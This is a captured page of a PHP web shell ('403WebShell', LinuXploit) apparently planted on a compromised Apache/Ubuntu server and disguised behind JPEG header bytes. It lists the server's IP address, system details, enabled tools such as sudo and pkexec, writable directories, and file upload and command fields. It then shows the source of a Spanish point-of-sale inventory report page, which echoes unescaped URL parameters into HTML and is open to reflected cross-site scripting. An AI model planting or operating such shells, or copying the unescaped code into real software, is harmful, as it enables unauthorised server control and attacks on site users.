����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.139.86.227
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/pos11/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/pos11/core/app/view/reports-view.php
<?php

$stocks = StockData::getAll();
?>


  <section class="content-header">
			<nav class = "navbar navbar-inverse">
					<div class = "container-fluid">
						<a href = "#" class = "navbar-brand">Movimientos de Inventario</a>
					</div>
			</nav>
         
		  
    </section>
	
	 <ol class="breadcrumb" align="right">
            <li><a href="./?view=reports"><i class="fa fa-dashboard"></i> Inventario</a></li>
            <li class="active">Kardex de Productos</li>
          </ol>
	
<section class="content">

<div class="box box-primary">
		  <div class="box-header">
			<span class="box-title">Se Obtendran las Existencias </span>
		  </div><!-- /.box-header -->
	<div class="box-body">
		<div class="row">
		<div class="col-md-12">
			<form>
				<input type="hidden" name="view" value="reports">			
				<div class="row">
					<div class="col-md-2">
						<select name="stock_id" required class="form-control">
							<option value="">-- ALMACEN --</option>
							<?php foreach($stocks as $p):?>
							<option value="<?php echo $p->id;?>" <?php if(isset($_GET["stock_id"]) && $_GET["stock_id"]==$p->id){ echo "selected"; }?>><?php echo $p->name;?></option>
							<?php endforeach; ?>
						</select>
					</div>
					<div class="col-md-3">
						<input type="text" class="form-control " id="product_id" name="product_id" value="" placeholder="Buscar Productos Por Codigo...">
					</div>
					<div class="col-md-3">
						<input type="date" name="sd" value="<?php if(isset($_GET["sd"])){ echo $_GET["sd"]; }?>" class="form-control" required>
					</div>
					<div class="col-md-3">
						<input type="date" name="ed" value="<?php if(isset($_GET["ed"])){ echo $_GET["ed"]; }?>" class="form-control" required>
					</div>
					<div class="col-md-1">
						<button type="submit" class="btn btn-primary btn-block"><i class="fa fa-file-text"></i></button>
					</div>
				</div>
			</form>
			
			<div id="Oculto"></div>
			
		</div>
	</div>
	<br><!--- -->
	
	<div class="row">
		<div class="col-md-12">
		<?php if(isset($_GET["sd"]) && isset($_GET["ed"]) ):?>
			<?php if($_GET["sd"]!=""&&$_GET["ed"]!=""):?>
					<?php 
					$operations = array();
					if($_GET["product_id"]==""){
						//Buscar productos que tengan ventas en este periodo
					$operations = ProductData::getAll200($_GET["sd"],$_GET["ed"]);
					}
					else{
					//Buscar el producto que se a vendido en el periodo correspondiente	
						$operations = OperationData::getItemVentas($_GET["sd"],$_GET["ed"],$_GET["product_id"]);
						
					} 
					
					 //print_r($operations); //*,sum(qty) as ventas
					 ?>
				
				<?php if(count($operations)>0):?>
					<a onclick="thePDF()" id="makepdf" class="btn btn-default" class="">PDF (.pdf)</a>
					<a href="./report/reports-xlsx.php?stock_id=<?php echo $_GET["stock_id"]; ?>&product_id=<?php echo $_GET["product_id"]; ?>&sd=<?php echo $_GET["sd"]; ?>&ed=<?php echo $_GET["ed"]; ?>" class="btn btn-default">Excel (.xlsx)</a>
					<a href="#" class="btn btn-default">Ayuda</a>
				
					<br><br>
						<div class = "table-responsive">
							<div class="box box-primary">
								<table class="table table-bordered">
									<thead class="alert-warning">
										<th>#</th>
										<th>ticket 1er Venta</th>
										<th>Fecha</th>
										<th>Codigo</th>
										<th>Producto</th>
										<th  colspan="2">Disponible( de la fecha de inicio al la fecha final)</th>
										<th>Precio Costo</th>
										<th>Costo Total</th>
									</thead>
									<?php 
										$totC = 0;
										$totV = 0;
										$totD = 0;
									foreach($operations as $operation):
										if($_GET["product_id"]!=""){
											//ventas
											$sales = OperationData::getItemVentas($_GET["sd"],$_GET["ed"],$operation->barcode);
											$totV = $totV + $sales[0]->ventas;
											
											//and operation_type_id=5
											//Ordenes de compra
											$compras = OperationData2::getItemCompras($_GET["sd"],$_GET["ed"],$operation->barcode);
											
											//Compras
											$product = ProductData::getBycode($operation->barcode);
											if(isset($product)){
												$compras2 = OperationData2::getItemCompras2($_GET["sd"],$_GET["ed"],$product->id);
												$totC = $totC + ($compras[0]->compras + $compras2[0]->compras2);
											$costo= ($totC - $totV)* $product->price_in;
											}else{
											  $product =null;
											}
											
											//devoluciones
											if(isset($product)){
												$dev = OperationData::getItemDev($_GET["sd"],$_GET["ed"],$product->id);
													$totD = $totD + $dev[0]->dev;
											}else{
											  $dev =null;
											  $totD=0;
											}		
											
									?>	
									  <?php if( ($product != null ) ):?>
										<tr>
											<td></td>
											<td><?php echo $operation->sale_id; ?></td>
											<td><?php echo $operation->created_at; ?></td>
											<td><?php echo $operation->barcode; ?></td>
											<td><?php echo $operation->item_name; ?></td>
											<td> 
											<input value="<?php echo $totC -$totV + $totD;?>" disabled align="center">
											</td>
											<td>$ <?php echo number_format($product->price_in,2);?></td>
											<td><?php echo number_format(abs($costo),2); ?></td>
										</tr>
										<td></td>
										<td></td>
											<th>
											<td><u><b><?php echo "Total Devoliciones: "; ?><?php echo "Total Cotizaciones: " + "-" + $totD; ?><b></u></td>
											<td><u><b><?php echo "Total Compras: "; ?><?php echo "Total Cotizaciones: " + "-" + $totC; ?><b></u></td>
											<td><u><b><?php echo "Total Ventas: "; ?><?php echo "Total Salidas: " + $totV; ?><b></u></td>
											</th>
										<?php endif;?>
									<?php
									}
									else{
										ini_set('max_execution_time', '300');
											//ventas
											$sales = OperationData::getItemVentas($_GET["sd"],$_GET["ed"],$operation->barcode);
											$totV = $totV + $sales[0]->ventas;
												
											//Ordenes de compra
											$compras = OperationData2::getItemCompras($_GET["sd"],$_GET["ed"],$operation->barcode);
											
											$product = ProductData::getBycode($operation->barcode);
											
											if(isset($product)){
												$compras2 = OperationData2::getItemCompras2($_GET["sd"],$_GET["ed"],$product->id);
												$totC = $totC + ($compras[0]->compras + $compras2[0]->compras2);
											}else{
											  $product =null;
											}
											
											
										
									?>
									   <?php if( ($product != null ) and ($totC != 0)  and ( ($totC - $totV) > 0) ):?>
										   <tr>
												
												
												<td><?php echo $operation->id_item; ?></td>
												<td></td>
												<td title="fecha de alta del producto"><?php echo $operation->created_at; ?></td>
												<td><?php echo $operation->barcode; ?></td>
												<td><?php echo $operation->item_name; ?></td>
												<td title="Si el valor es negativo significa que solo hubo ventas"> 
												<?php echo "Existencias: "?>
													<input value="<?php echo $totC - $totV;
														$costo= ($totC - $totV)* $product->price_in;
														$totC=0;
														$totV=0;
													?>" disabled align="center">
				
												</td>
												<td>
												<?php
												//devoluciones
												if($product->id != null){
												$dev = OperationData::getItemDev($_GET["sd"],$_GET["ed"],$product->id);
												echo "Devoluciones: "; 
												?>
												<input value="<?php echo $totD = $dev[0]->dev;?>" disabled>
												<?php
												
												}else{
													$totD=0;
												}
												?>
												</td>
												<td>$ <?php echo number_format($product->price_in,2);?></td>
												<td><?php echo number_format(abs($costo),2); ?></td>
												
											</tr>
										<?php endif;?>
								
									<?php	
									}
									 endforeach; ?>
									 
									
											
								</table>		
							</div>
						</div>

				<?php else:
						 // si no hay operaciones
						 ?>
						<script>
							$("#wellcome").hide();
						</script>
						<div class="jumbotron">
							<h2>No hay operaciones</h2>
							<p>El rango de fechas seleccionado no proporciono ningun resultado de operaciones.</p>
						</div>
				<?php endif; ?>
			<?php else:?>
				<script>
					$("#wellcome").hide();
				</script>
				<div class="jumbotron">
					<h2>Fecha Incorrectas</h2>
					<p>Puede ser que no selecciono un rango de fechas, o el rango seleccionado es incorrecto.</p>
				</div>
			<?php endif;?>
		<?php endif; ?>
		</div>
	</div>
	</div>
</div>



<script type="text/javascript">
        function thePDF() {
var doc = new jsPDF('p', 'pt');
        doc.setFontSize(26);
        doc.text("<?php echo ConfigurationData::getByPreffix("company_name")->val;?>", 40, 65);
        doc.setFontSize(18);
        doc.text("LISTADO DE PRODUCTOS", 40, 80);
        doc.setFontSize(12);
        doc.text("Usuario: <?php echo Core::$user->name." ".Core::$user->lastname; ?>  -  Fecha: <?php echo date("d-m-Y h:i:s");?> ", 40, 90);
var columns = [
    {title: "Id", dataKey: "id"}, 
    {title: "Codigo", dataKey: "code"}, 
    {title: "Nombre", dataKey: "name"}, 
	{title: "Precio Publico", dataKey: "price_in"}, 
    {title: "Existencia", dataKey: "Stock"}, 
];
var rows = [
  <?php 
  
  foreach($operations as $product):
	$sales = OperationData::getItemVentas($_GET["sd"],$_GET["ed"],$product->barcode);
		$totV = $totV + $sales[0]->ventas;
												
		//Ordenes de compra
			$compras = OperationData2::getItemCompras($_GET["sd"],$_GET["ed"],$product->barcode);
											
			$product1 = ProductData::getBycode($product->barcode);
											
		if(isset($product1)){
			$compras2 = OperationData2::getItemCompras2($_GET["sd"],$_GET["ed"],$product1->id);
			$totC = $totC + ($compras[0]->compras + $compras2[0]->compras2);
			}else{
				$product1 =null;
			}
  
	if( ($product1 != null ) and ($totC != 0)  and ( ($totC - $totV) > 0) ){
	?>
    {
      "id": "<?php echo $product->id_item; ?>",
      "code": "<?php echo $product->barcode; ?>",
      "name": "<?php echo $product->item_name; ?>",
	  "price_in": "$ <?php echo number_format($product1->price_out,2); ?>",
      "Stock": "<?php echo $totC - $totV; ?>",
      },
	
 <?php 
	} 
	endforeach; ?>
];
doc.autoTable(columns, rows, {
    theme: 'grid',
    overflow:'linebreak',
    styles: { 
        fillColor: <?php echo Core::$pdf_table_fillcolor;?>
    },
    columnStyles: {
        id: {fillColor: <?php echo Core::$pdf_table_column_fillcolor;?>}
    },
    margin: {top: 100},
    afterPageContent: function(data) {
    }
});
doc.setFontSize(12);
doc.text("<?php echo Core::$pdf_footer;?>", 40, doc.autoTableEndPosY()+25);
<?php 
$con = ConfigurationData::getByPreffix("report_image");
if($con!=null && $con->val!=""):
?>
var img = new Image();
img.src= "storage/configuration/<?php echo $con->val;?>";
img.onload = function(){
doc.addImage(img, 'PNG', 495, 18, 50, 50,'mon');	
doc.save('products-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf');
}
<?php else:?>
doc.save('products-<?php echo date("d-m-Y h:i:s",time()); ?>.pdf');
<?php endif; ?>
}
</script>



</section>

Youez - 2016 - github.com/yon3zu
LinuXploit